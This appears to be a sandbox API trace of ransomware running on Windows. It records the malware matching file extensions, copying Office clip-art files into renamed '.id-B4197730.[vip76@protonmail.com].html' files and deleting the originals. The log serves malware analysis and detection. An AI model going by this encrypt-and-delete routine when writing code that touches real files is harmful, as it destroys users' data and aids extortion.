	[0072.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.870] lstrlenW (lpString=".xls") returned 4
	[0072.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.870] lstrlenW (lpString=".xlsx") returned 5
	[0072.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.870] lstrlenW (lpString=".ppt") returned 4
	[0072.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.870] lstrlenW (lpString=".zip") returned 4
	[0072.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.870] lstrlenW (lpString=".rar") returned 4
	[0072.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.870] lstrlenW (lpString=".bz2") returned 4
	[0072.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.871] lstrlenW (lpString=".7z") returned 3
	[0072.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.871] lstrlenW (lpString=".dbf") returned 4
	[0072.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.871] lstrlenW (lpString=".1cd") returned 4
	[0072.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.871] lstrlenW (lpString=".jpg") returned 4
	[0072.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.871] lstrlenW (lpString=".doc") returned 4
	[0072.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.871] lstrlenW (lpString=".docx") returned 5
	[0072.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.871] lstrlenW (lpString=".pdf") returned 4
	[0072.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.871] lstrlenW (lpString=".xls") returned 4
	[0072.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.871] lstrlenW (lpString=".xlsx") returned 5
	[0072.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.871] lstrlenW (lpString=".ppt") returned 4
	[0072.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.871] lstrlenW (lpString=".zip") returned 4
	[0072.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.871] lstrlenW (lpString=".rar") returned 4
	[0072.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.872] lstrlenW (lpString=".bz2") returned 4
	[0072.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.872] lstrlenW (lpString=".7z") returned 3
	[0072.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.872] lstrlenW (lpString=".dbf") returned 4
	[0072.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.872] lstrlenW (lpString=".1cd") returned 4
	[0072.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0072.872] lstrlenW (lpString=".jpg") returned 4
	[0072.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.872] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.872] lstrlenW (lpString="BD07831_.WMF") returned 12
	[0072.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.872] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=4066) returned 1
	[0072.872] CloseHandle (hObject=0x37c) returned 1
	[0072.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220
	[0072.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.873] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.873] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.873] GetLastError () returned 0x0
	[0072.873] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xfe2, lpOverlapped=0x0) returned 1
	[0072.875] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0072.876] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.876] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.876] SetEndOfFile (hFile=0x394) returned 1
	[0072.876] CloseHandle (hObject=0x394) returned 1
	[0072.877] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.877] SetEndOfFile (hFile=0x37c) returned 1
	[0072.878] CloseHandle (hObject=0x37c) returned 1
	[0072.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1
	[0072.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.878] lstrlenW (lpString=".doc") returned 4
	[0072.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.878] lstrlenW (lpString=".docx") returned 5
	[0072.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.878] lstrlenW (lpString=".pdf") returned 4
	[0072.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.878] lstrlenW (lpString=".xls") returned 4
	[0072.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.878] lstrlenW (lpString=".xlsx") returned 5
	[0072.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.878] lstrlenW (lpString=".ppt") returned 4
	[0072.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.879] lstrlenW (lpString=".zip") returned 4
	[0072.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.879] lstrlenW (lpString=".rar") returned 4
	[0072.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.879] lstrlenW (lpString=".bz2") returned 4
	[0072.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.879] lstrlenW (lpString=".7z") returned 3
	[0072.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.879] lstrlenW (lpString=".dbf") returned 4
	[0072.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.879] lstrlenW (lpString=".1cd") returned 4
	[0072.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.879] lstrlenW (lpString=".jpg") returned 4
	[0072.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.879] lstrlenW (lpString=".doc") returned 4
	[0072.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.879] lstrlenW (lpString=".docx") returned 5
	[0072.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.879] lstrlenW (lpString=".pdf") returned 4
	[0072.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.879] lstrlenW (lpString=".xls") returned 4
	[0072.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.879] lstrlenW (lpString=".xlsx") returned 5
	[0072.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.879] lstrlenW (lpString=".ppt") returned 4
	[0072.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.880] lstrlenW (lpString=".zip") returned 4
	[0072.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.880] lstrlenW (lpString=".rar") returned 4
	[0072.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.880] lstrlenW (lpString=".bz2") returned 4
	[0072.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.880] lstrlenW (lpString=".7z") returned 3
	[0072.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.880] lstrlenW (lpString=".dbf") returned 4
	[0072.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.880] lstrlenW (lpString=".1cd") returned 4
	[0072.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0072.880] lstrlenW (lpString=".jpg") returned 4
	[0072.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.880] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.880] lstrlenW (lpString="BD08758_.WMF") returned 12
	[0072.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.881] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=24320) returned 1
	[0072.881] CloseHandle (hObject=0x37c) returned 1
	[0072.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220
	[0072.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.881] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.881] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.881] GetLastError () returned 0x0
	[0072.881] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x5f00, lpOverlapped=0x0) returned 1
	[0072.883] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x5f10, lpOverlapped=0x0) returned 1
	[0072.885] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.885] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.885] SetEndOfFile (hFile=0x394) returned 1
	[0072.885] CloseHandle (hObject=0x394) returned 1
	[0072.886] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.886] SetEndOfFile (hFile=0x37c) returned 1
	[0072.887] CloseHandle (hObject=0x37c) returned 1
	[0072.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1
	[0072.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.888] lstrlenW (lpString=".doc") returned 4
	[0072.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.888] lstrlenW (lpString=".docx") returned 5
	[0072.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.888] lstrlenW (lpString=".pdf") returned 4
	[0072.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.888] lstrlenW (lpString=".xls") returned 4
	[0072.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.888] lstrlenW (lpString=".xlsx") returned 5
	[0072.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.888] lstrlenW (lpString=".ppt") returned 4
	[0072.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.888] lstrlenW (lpString=".zip") returned 4
	[0072.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.888] lstrlenW (lpString=".rar") returned 4
	[0072.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.888] lstrlenW (lpString=".bz2") returned 4
	[0072.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.888] lstrlenW (lpString=".7z") returned 3
	[0072.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.888] lstrlenW (lpString=".dbf") returned 4
	[0072.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.888] lstrlenW (lpString=".1cd") returned 4
	[0072.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.888] lstrlenW (lpString=".jpg") returned 4
	[0072.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.889] lstrlenW (lpString=".doc") returned 4
	[0072.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.889] lstrlenW (lpString=".docx") returned 5
	[0072.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.889] lstrlenW (lpString=".pdf") returned 4
	[0072.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.889] lstrlenW (lpString=".xls") returned 4
	[0072.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.889] lstrlenW (lpString=".xlsx") returned 5
	[0072.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.889] lstrlenW (lpString=".ppt") returned 4
	[0072.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.889] lstrlenW (lpString=".zip") returned 4
	[0072.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.889] lstrlenW (lpString=".rar") returned 4
	[0072.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.889] lstrlenW (lpString=".bz2") returned 4
	[0072.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.889] lstrlenW (lpString=".7z") returned 3
	[0072.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.889] lstrlenW (lpString=".dbf") returned 4
	[0072.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.889] lstrlenW (lpString=".1cd") returned 4
	[0072.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0072.889] lstrlenW (lpString=".jpg") returned 4
	[0072.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.890] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.890] lstrlenW (lpString="BD08773_.WMF") returned 12
	[0072.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.890] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=24778) returned 1
	[0072.890] CloseHandle (hObject=0x37c) returned 1
	[0072.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220
	[0072.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.890] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.890] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.891] GetLastError () returned 0x0
	[0072.891] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x60ca, lpOverlapped=0x0) returned 1
	[0073.224] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0073.226] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.226] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.226] SetEndOfFile (hFile=0x394) returned 1
	[0073.680] CloseHandle (hObject=0x394) returned 1
	[0073.714] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.714] SetEndOfFile (hFile=0x37c) returned 1
	[0073.715] CloseHandle (hObject=0x37c) returned 1
	[0073.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1
	[0073.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.717] lstrlenW (lpString=".doc") returned 4
	[0073.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.717] lstrlenW (lpString=".docx") returned 5
	[0073.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.717] lstrlenW (lpString=".pdf") returned 4
	[0073.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.717] lstrlenW (lpString=".xls") returned 4
